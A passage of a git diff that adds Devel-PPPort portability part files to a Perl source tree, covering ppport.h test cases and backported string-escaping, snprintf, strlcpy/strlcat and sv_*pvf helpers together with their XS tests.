+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges --nofilter foo.cpp foo.o Makefile.PL));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok($o =~ /^Scanning.*foo\.o/mi);
+ok($o =~ /Analyzing.*foo\.o/mi);
+ok($o =~ /^Scanning.*Makefile/mi);
+ok($o =~ /Analyzing.*Makefile/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+ok(matches($o, 'Analyzing', 'm'), 3);
+
+---------------------------- foo.cpp ------------------------------------------
+
+newSViv();
+
+---------------------------- foo.o --------------------------------------------
+
+newSViv();
+
+---------------------------- Makefile.PL --------------------------------------
+
+newSViv();
+
+===============================================================================
+
+# check if explicit variables are handled propery
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o =~ /^Uses PL_signals/m);
+ok($o =~ /^File needs PL_signals, adding static request/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+unlink qw(MyExt.xsa);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#define NEED_PL_signals
+#include "ppport.h"
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o =~ /^Uses SvUOK/m);
+ok($o =~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(2 warnings\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0 file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o !~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_PL_parser
+#include "ppport.h"
+SvUOK
+PL_copline
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE defgv + \
+ sv_undef
+
+---------------------------- file.xsr -----------------------------------------
+
+#include "ppport.h"
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING PL_defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE PL_defgv + \
+ PL_sv_undef
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak("bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner("foo");
+warner_nocontext("foo");
+warner("foo");
+
+---------------------------- file.xsr -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak(aTHX_ "bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner(aTHX_ "foo");
+warner_nocontext("foo");
+warner("foo");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools
new file mode 100644
index 00000000000..af75c423ca6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools
@@ -0,0 +1,276 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+pv_escape
+pv_pretty
+pv_display
+
+=implementation
+
+__UNDEFINED__ PERL_PV_ESCAPE_QUOTE 0x0001
+__UNDEFINED__ PERL_PV_PRETTY_QUOTE PERL_PV_ESCAPE_QUOTE
+__UNDEFINED__ PERL_PV_PRETTY_ELLIPSES 0x0002
+__UNDEFINED__ PERL_PV_PRETTY_LTGT 0x0004
+__UNDEFINED__ PERL_PV_ESCAPE_FIRSTCHAR 0x0008
+__UNDEFINED__ PERL_PV_ESCAPE_UNI 0x0100
+__UNDEFINED__ PERL_PV_ESCAPE_UNI_DETECT 0x0200
+__UNDEFINED__ PERL_PV_ESCAPE_ALL 0x1000
+__UNDEFINED__ PERL_PV_ESCAPE_NOBACKSLASH 0x2000
+__UNDEFINED__ PERL_PV_ESCAPE_NOCLEAR 0x4000
+__UNDEFINED__ PERL_PV_ESCAPE_RE 0x8000
+__UNDEFINED__ PERL_PV_PRETTY_NOCLEAR PERL_PV_ESCAPE_NOCLEAR
+
+__UNDEFINED__ PERL_PV_PRETTY_DUMP PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_QUOTE
+__UNDEFINED__ PERL_PV_PRETTY_REGPROP PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_LTGT|PERL_PV_ESCAPE_RE
+
+/* Hint: pv_escape
+ * Note that unicode functionality is only backported to
+ * those perl versions that support it. For older perl
+ * versions, the implementation will fall back to bytes.
+ */
+
+#ifndef pv_escape
+#if { NEED pv_escape }
+
+char *
+pv_escape(pTHX_ SV *dsv, char const * const str,
+ const STRLEN count, const STRLEN max,
+ STRLEN * const escaped, const U32 flags)
+{
+ const char esc = flags & PERL_PV_ESCAPE_RE ? '%' : '\\';
+ const char dq = flags & PERL_PV_ESCAPE_QUOTE ? '"' : esc;
+ char octbuf[32] = "%123456789ABCDF";
+ STRLEN wrote = 0;
+ STRLEN chsize = 0;
+ STRLEN readsize = 1;
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ bool isuni = flags & PERL_PV_ESCAPE_UNI ? 1 : 0;
+#endif
+ const char *pv = str;
+ const char * const end = pv + count;
+ octbuf[0] = esc;
+
+ if (!(flags & PERL_PV_ESCAPE_NOCLEAR))
+ sv_setpvs(dsv, "");
+
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ if ((flags & PERL_PV_ESCAPE_UNI_DETECT) && is_utf8_string((U8*)pv, count))
+ isuni = 1;
+#endif
+
+ for (; pv < end && (!max || wrote < max) ; pv += readsize) {
+ const UV u =
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ isuni ? utf8_to_uvchr((U8*)pv, &readsize) :
+#endif
+ (U8)*pv;
+ const U8 c = (U8)u & 0xFF;
+
+ if (u > 255 || (flags & PERL_PV_ESCAPE_ALL)) {
+ if (flags & PERL_PV_ESCAPE_FIRSTCHAR)
+ chsize = my_snprintf(octbuf, sizeof octbuf,
+ "%" UVxf, u);
+ else
+ chsize = my_snprintf(octbuf, sizeof octbuf,
+ "%cx{%" UVxf "}", esc, u);
+ } else if (flags & PERL_PV_ESCAPE_NOBACKSLASH) {
+ chsize = 1;
+ } else {
+ if (c == dq || c == esc || !isPRINT(c)) {
+ chsize = 2;
+ switch (c) {
+ case '\\' : /* fallthrough */
+ case '%' : if (c == esc)
+ octbuf[1] = esc;
+ else
+ chsize = 1;
+ break;
+ case '\v' : octbuf[1] = 'v'; break;
+ case '\t' : octbuf[1] = 't'; break;
+ case '\r' : octbuf[1] = 'r'; break;
+ case '\n' : octbuf[1] = 'n'; break;
+ case '\f' : octbuf[1] = 'f'; break;
+ case '"' : if (dq == '"')
+ octbuf[1] = '"';
+ else
+ chsize = 1;
+ break;
+ default: chsize = my_snprintf(octbuf, sizeof octbuf,
+ pv < end && isDIGIT((U8)*(pv+readsize))
+ ? "%c%03o" : "%c%o", esc, c);
+ }
+ } else {
+ chsize = 1;
+ }
+ }
+ if (max && wrote + chsize > max) {
+ break;
+ } else if (chsize > 1) {
+ sv_catpvn(dsv, octbuf, chsize);
+ wrote += chsize;
+ } else {
+ char tmp[2];
+ my_snprintf(tmp, sizeof tmp, "%c", c);
+ sv_catpvn(dsv, tmp, 1);
+ wrote++;
+ }
+ if (flags & PERL_PV_ESCAPE_FIRSTCHAR)
+ break;
+ }
+ if (escaped != NULL)
+ *escaped= pv - str;
+ return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+#ifndef pv_pretty
+#if { NEED pv_pretty }
+
+char *
+pv_pretty(pTHX_ SV *dsv, char const * const str, const STRLEN count,
+ const STRLEN max, char const * const start_color, char const * const end_color,
+ const U32 flags)
+{
+ const U8 dq = (flags & PERL_PV_PRETTY_QUOTE) ? '"' : '%';
+ STRLEN escaped;
+
+ if (!(flags & PERL_PV_PRETTY_NOCLEAR))
+ sv_setpvs(dsv, "");
+
+ if (dq == '"')
+ sv_catpvs(dsv, "\"");
+ else if (flags & PERL_PV_PRETTY_LTGT)
+ sv_catpvs(dsv, "<");
+
+ if (start_color != NULL)
+ sv_catpv(dsv, D_PPP_CONSTPV_ARG(start_color));
+
+ pv_escape(dsv, str, count, max, &escaped, flags | PERL_PV_ESCAPE_NOCLEAR);
+
+ if (end_color != NULL)
+ sv_catpv(dsv, D_PPP_CONSTPV_ARG(end_color));
+
+ if (dq == '"')
+ sv_catpvs(dsv, "\"");
+ else if (flags & PERL_PV_PRETTY_LTGT)
+ sv_catpvs(dsv, ">");
+
+ if ((flags & PERL_PV_PRETTY_ELLIPSES) && escaped < count)
+ sv_catpvs(dsv, "...");
+
+ return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+#ifndef pv_display
+#if { NEED pv_display }
+
+char *
+pv_display(pTHX_ SV *dsv, const char *pv, STRLEN cur, STRLEN len, STRLEN pvlim)
+{
+ pv_pretty(dsv, pv, cur, pvlim, NULL, NULL, PERL_PV_PRETTY_DUMP);
+ if (len > cur && pv[cur] == '\0')
+ sv_catpvs(dsv, "\\0");
+ return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_pv_escape
+#define NEED_pv_pretty
+#define NEED_pv_display
+
+=xsubs
+
+void
+pv_escape_can_unicode()
+ PPCODE:
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ XSRETURN_YES;
+#else
+ XSRETURN_NO;
+#endif
+
+void
+pv_pretty()
+ PREINIT:
+ char *rv;
+ PPCODE:
+ EXTEND(SP, 8);
+ ST(0) = sv_newmortal();
+ rv = pv_pretty(ST(0), "foobarbaz",
+ 9, 40, NULL, NULL, 0);
+ ST(1) = sv_2mortal(newSVpv(rv, 0));
+ ST(2) = sv_newmortal();
+ rv = pv_pretty(ST(2), "pv_p\retty\n",
+ 10, 40, "left", "right", PERL_PV_PRETTY_LTGT);
+ ST(3) = sv_2mortal(newSVpv(rv, 0));
+ ST(4) = sv_newmortal();
+ rv = pv_pretty(ST(4), "N\303\275 Batter\303\255",
+ 12, 20, NULL, NULL, PERL_PV_ESCAPE_UNI_DETECT);
+ ST(5) = sv_2mortal(newSVpv(rv, 0));
+ ST(6) = sv_newmortal();
+ rv = pv_pretty(ST(6), "\303\201g\303\246tis Byrjun",
+ 15, 18, NULL, NULL, PERL_PV_ESCAPE_UNI_DETECT|PERL_PV_PRETTY_ELLIPSES);
+ ST(7) = sv_2mortal(newSVpv(rv, 0));
+ XSRETURN(8);
+
+void
+pv_display()
+ PREINIT:
+ char *rv;
+ PPCODE:
+ EXTEND(SP, 4);
+ ST(0) = sv_newmortal();
+ rv = pv_display(ST(0), "foob\0rbaz", 9, 10, 20);
+ ST(1) = sv_2mortal(newSVpv(rv, 0));
+ ST(2) = sv_newmortal();
+ rv = pv_display(ST(2), "pv_display", 10, 11, 5);
+ ST(3) = sv_2mortal(newSVpv(rv, 0));
+ XSRETURN(4);
+
+=tests plan => 13
+
+my $uni = &Devel::PPPort::pv_escape_can_unicode();
+
+# sanity check
+ok($uni ? $] >= 5.006 : $] < 5.008);
+
+my @r;
+
+@r = &Devel::PPPort::pv_pretty();
+ok($r[0], $r[1]);
+ok($r[0], "foobarbaz");
+ok($r[2], $r[3]);
+ok($r[2], '<leftpv_p\retty\nright>');
+ok($r[4], $r[5]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303');
+ok($r[6], $r[7]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...');
+
+@r = &Devel::PPPort::pv_display();
+ok($r[0], $r[1]);
+ok($r[0], '"foob\0rbaz"\0');
+ok($r[2], $r[3]);
+ok($r[2] eq '"pv_di"...\0' ||
+ $r[2] eq '"pv_d"...\0'); # some perl implementations are broken... :(
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs
new file mode 100644
index 00000000000..b1be87b26bf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs
@@ -0,0 +1,154 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+/* concatenating with "" ensures that only literal strings are accepted as argument
+ * note that STR_WITH_LEN() can't be used as argument to macros or functions that
+ * under some configurations might be macros
+ */
+
+__UNDEFINED__ STR_WITH_LEN(s) (s ""), (sizeof(s)-1)
+
+__UNDEFINED__ newSVpvs(str) newSVpvn(str "", sizeof(str) - 1)
+__UNDEFINED__ newSVpvs_flags(str, flags) newSVpvn_flags(str "", sizeof(str) - 1, flags)
+__UNDEFINED__ newSVpvs_share(str) newSVpvn_share(str "", sizeof(str) - 1, 0)
+__UNDEFINED__ sv_catpvs(sv, str) sv_catpvn(sv, str "", sizeof(str) - 1)
+__UNDEFINED__ sv_setpvs(sv, str) sv_setpvn(sv, str "", sizeof(str) - 1)
+__UNDEFINED__ hv_fetchs(hv, key, lval) hv_fetch(hv, key "", sizeof(key) - 1, lval)
+__UNDEFINED__ hv_stores(hv, key, val) hv_store(hv, key "", sizeof(key) - 1, val, 0)
+
+__UNDEFINED__ gv_fetchpvs(name, flags, svt) gv_fetchpvn_flags(name "", sizeof(name) - 1, flags, svt)
+__UNDEFINED__ gv_stashpvs(name, flags) gv_stashpvn(name "", sizeof(name) - 1, flags)
+
+__UNDEFINED__ get_cvs(name, flags) get_cvn_flags(name "", sizeof(name)-1, flags)
+
+=xsinit
+
+#define NEED_newSVpvn_share
+
+=xsubs
+
+void
+newSVpvs()
+ PPCODE:
+ mXPUSHs(newSVpvs("newSVpvs"));
+ XSRETURN(1);
+
+void
+newSVpvs_flags()
+ PPCODE:
+ XPUSHs(newSVpvs_flags("newSVpvs_flags", SVs_TEMP));
+ XSRETURN(1);
+
+int
+newSVpvs_share()
+ PREINIT:
+ SV *sv;
+ U32 hash;
+ CODE:
+ RETVAL = 0;
+ PERL_HASH(hash, "pvs", 3);
+ sv = newSVpvs_share("pvs");
+ RETVAL += strEQ(SvPV_nolen_const(sv), "pvs");
+ RETVAL += SvCUR(sv) == 3;
+ RETVAL += SvSHARED_HASH(sv) == hash;
+ SvREFCNT_dec(sv);
+ OUTPUT:
+ RETVAL
+
+void
+sv_catpvs(sv)
+ SV *sv
+ PPCODE:
+ sv_catpvs(sv, "sv_catpvs");
+
+void
+sv_setpvs(sv)
+ SV *sv
+ PPCODE:
+ sv_setpvs(sv, "sv_setpvs");
+
+void
+hv_fetchs(hv)
+ SV *hv
+ PREINIT:
+ SV **s;
+ PPCODE:
+ s = hv_fetchs((HV *) SvRV(hv), "hv_fetchs", 0);
+ XPUSHs(sv_mortalcopy(*s));
+ XSRETURN(1);
+
+void
+hv_stores(hv, sv)
+ SV *hv
+ SV *sv
+ PPCODE:
+ (void) hv_stores((HV *) SvRV(hv), "hv_stores", SvREFCNT_inc_simple(sv));
+
+SV*
+gv_fetchpvs()
+ CODE:
+ RETVAL = newRV_inc((SV*)gv_fetchpvs("Devel::PPPort::VERSION", 0, SVt_PV));
+ OUTPUT:
+ RETVAL
+
+SV*
+gv_stashpvs()
+ CODE:
+ RETVAL = newRV_inc((SV*)gv_stashpvs("Devel::PPPort", 0));
+ OUTPUT:
+ RETVAL
+
+int
+get_cvs()
+ PREINIT:
+ CV* xv;
+ CODE:
+ RETVAL = 0;
+ xv = get_cvs("Devel::PPPort::foobar", 0);
+ if(xv == NULL) RETVAL++;
+ xv = get_cvs("Devel::PPPort::foobar", GV_ADDMULTI);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+ xv = get_cvs("Devel::PPPort::get_cvs", 0);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+OUTPUT:
+ RETVAL
+
+
+=tests plan => 12
+
+my $x = 'foo';
+
+ok(Devel::PPPort::newSVpvs(), "newSVpvs");
+ok(Devel::PPPort::newSVpvs_flags(), "newSVpvs_flags");
+ok(Devel::PPPort::newSVpvs_share(), 3);
+
+Devel::PPPort::sv_catpvs($x);
+ok($x, "foosv_catpvs");
+
+Devel::PPPort::sv_setpvs($x);
+ok($x, "sv_setpvs");
+
+my %h = ('hv_fetchs' => 42);
+Devel::PPPort::hv_stores(\%h, 4711);
+ok(scalar keys %h, 2);
+ok(exists $h{'hv_stores'});
+ok($h{'hv_stores'}, 4711);
+ok(Devel::PPPort::hv_fetchs(\%h), 42);
+ok(Devel::PPPort::gv_fetchpvs(), \*Devel::PPPort::VERSION);
+ok(Devel::PPPort::gv_stashpvs(), \%Devel::PPPort::);
+
+ok(Devel::PPPort::get_cvs(), 3);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv
new file mode 100644
index 00000000000..921076fd320
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv
@@ -0,0 +1,90 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newSVpvn_share
+__UNDEFINED__
+
+=implementation
+
+/* Hint: newSVpvn_share
+ * The SVs created by this function only mimic the behaviour of
+ * shared PVs without really being shared. Only use if you know
+ * what you're doing.
+ */
+
+#ifndef newSVpvn_share
+
+#if { NEED newSVpvn_share }
+
+SV *
+newSVpvn_share(pTHX_ const char *src, I32 len, U32 hash)
+{
+ SV *sv;
+ if (len < 0)
+ len = -len;
+ if (!hash)
+ PERL_HASH(hash, (char*) src, len);
+ sv = newSVpvn((char *) src, len);
+ sv_upgrade(sv, SVt_PVIV);
+ SvIVX(sv) = hash;
+ SvREADONLY_on(sv);
+ SvPOK_on(sv);
+ return sv;
+}
+
+#endif
+
+#endif
+
+__UNDEFINED__ SvSHARED_HASH(sv) (0 + SvUVX(sv))
+
+=xsinit
+
+#define NEED_newSVpvn_share
+
+=xsubs
+
+int
+newSVpvn_share()
+ PREINIT:
+ const char *s;
+ SV *sv;
+ STRLEN len;
+ U32 hash;
+ CODE:
+ RETVAL = 0;
+ s = "mhx";
+ len = 3;
+ PERL_HASH(hash, (char *) s, len);
+ sv = newSVpvn_share(s, len, 0);
+ s = 0;
+ RETVAL += strEQ(SvPV_nolen_const(sv), "mhx");
+ RETVAL += SvCUR(sv) == len;
+ RETVAL += SvSHARED_HASH(sv) == hash;
+ SvREFCNT_dec(sv);
+ s = "foobar";
+ len = 6;
+ PERL_HASH(hash, (char *) s, len);
+ sv = newSVpvn_share(s, -(I32) len, hash);
+ s = 0;
+ RETVAL += strEQ(SvPV_nolen_const(sv), "foobar");
+ RETVAL += SvCUR(sv) == len;
+ RETVAL += SvSHARED_HASH(sv) == hash;
+ SvREFCNT_dec(sv);
+ OUTPUT:
+ RETVAL
+
+
+=tests plan => 1
+
+ok(&Devel::PPPort::newSVpvn_share(), 6);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf
new file mode 100644
index 00000000000..b700d8b8ef8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf
@@ -0,0 +1,63 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_snprintf
+
+=implementation
+
+#if !defined(my_snprintf)
+#if { NEED my_snprintf }
+
+int
+my_snprintf(char *buffer, const Size_t len, const char *format, ...)
+{
+ dTHX;
+ int retval;
+ va_list ap;
+ va_start(ap, format);
+#ifdef HAS_VSNPRINTF
+ retval = vsnprintf(buffer, len, format, ap);
+#else
+ retval = vsprintf(buffer, format, ap);
+#endif
+ va_end(ap);
+ if (retval < 0 || (len > 0 && (Size_t)retval >= len))
+ Perl_croak(aTHX_ "panic: my_snprintf buffer overflow");
+ return retval;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_snprintf
+
+=xsubs
+
+void
+my_snprintf()
+ PREINIT:
+ char buf[128];
+ int len;
+ PPCODE:
+ len = my_snprintf(buf, sizeof buf, "foo%s%d", "bar", 42);
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ XSRETURN(2);
+
+=tests plan => 2
+
+my($l, $s) = Devel::PPPort::my_snprintf();
+ok($l, 8);
+ok($s, "foobar42");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf
new file mode 100644
index 00000000000..8d45411b4a9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf
@@ -0,0 +1,55 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_sprintf
+
+=implementation
+
+#if !defined(my_sprintf)
+#if { NEED my_sprintf }
+
+int
+my_sprintf(char *buffer, const char* pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+ vsprintf(buffer, pat, args);
+ va_end(args);
+ return strlen(buffer);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_sprintf
+
+=xsubs
+
+void
+my_sprintf()
+ PREINIT:
+ char buf[128];
+ int len;
+ PPCODE:
+ len = my_sprintf(buf, "foo%s%d", "bar", 42);
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ XSRETURN(2);
+
+=tests plan => 2
+
+my($l, $s) = Devel::PPPort::my_sprintf();
+ok($l, 8);
+ok($s, "foobar42");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs
new file mode 100644
index 00000000000..82b5e435410
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs
@@ -0,0 +1,107 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_strlcat
+my_strlcpy
+
+=implementation
+
+#if !defined(my_strlcat)
+#if { NEED my_strlcat }
+
+Size_t
+my_strlcat(char *dst, const char *src, Size_t size)
+{
+ Size_t used, length, copy;
+
+ used = strlen(dst);
+ length = strlen(src);
+ if (size > 0 && used < size - 1) {
+ copy = (length >= size - used) ? size - used - 1 : length;
+ memcpy(dst + used, src, copy);
+ dst[used + copy] = '\0';
+ }
+ return used + length;
+}
+#endif
+#endif
+
+#if !defined(my_strlcpy)
+#if { NEED my_strlcpy }
+
+Size_t
+my_strlcpy(char *dst, const char *src, Size_t size)
+{
+ Size_t length, copy;
+
+ length = strlen(src);
+ if (size > 0) {
+ copy = (length >= size) ? size - 1 : length;
+ memcpy(dst, src, copy);
+ dst[copy] = '\0';
+ }
+ return length;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_strlcat
+#define NEED_my_strlcpy
+
+=xsubs
+
+void
+my_strlfunc()
+ PREINIT:
+ char buf[8];
+ int len;
+ PPCODE:
+ len = my_strlcpy(buf, "foo", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcat(buf, "bar", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcat(buf, "baz", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcpy(buf, "1234567890", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcpy(buf, "1234", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcat(buf, "567890123456", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ XSRETURN(12);
+
+=tests plan => 13
+
+my @e = (3, 'foo',
+ 6, 'foobar',
+ 9, 'foobarb',
+ 10, '1234567',
+ 4, '1234',
+ 16, '1234567',
+ );
+my @r = Devel::PPPort::my_strlfunc();
+
+ok(@e == @r);
+
+for (0 .. $#e) {
+ ok($r[$_], $e[$_]);
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf
new file mode 100644
index 00000000000..3a6c8b0e98f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf
@@ -0,0 +1,313 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+vnewSVpvf
+sv_vcatpvf
+sv_vsetpvf
+
+sv_catpvf_mg
+sv_catpvf_mg_nocontext
+sv_vcatpvf_mg
+
+sv_setpvf_mg
+sv_setpvf_mg_nocontext
+sv_vsetpvf_mg
+
+=implementation
+
+#if { VERSION >= 5.004 } && !defined(vnewSVpvf)
+#if { NEED vnewSVpvf }
+
+SV *
+vnewSVpvf(pTHX_ const char *pat, va_list *args)
+{
+ register SV *sv = newSV(0);
+ sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*));
+ return sv;
+}
+
+#endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vcatpvf)
+# define sv_vcatpvf(sv, pat, args) sv_vcatpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*))
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vsetpvf)
+# define sv_vsetpvf(sv, pat, args) sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*))
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_catpvf_mg)
+#if { NEED sv_catpvf_mg }
+
+void
+sv_catpvf_mg(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+ sv_vcatpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#if { VERSION >= 5.004 } && !defined(sv_catpvf_mg_nocontext)
+#if { NEED sv_catpvf_mg_nocontext }
+
+void
+sv_catpvf_mg_nocontext(SV *sv, const char *pat, ...)
+{
+ dTHX;
+ va_list args;
+ va_start(args, pat);
+ sv_vcatpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+#endif
+
+/* sv_catpvf_mg depends on sv_catpvf_mg_nocontext */
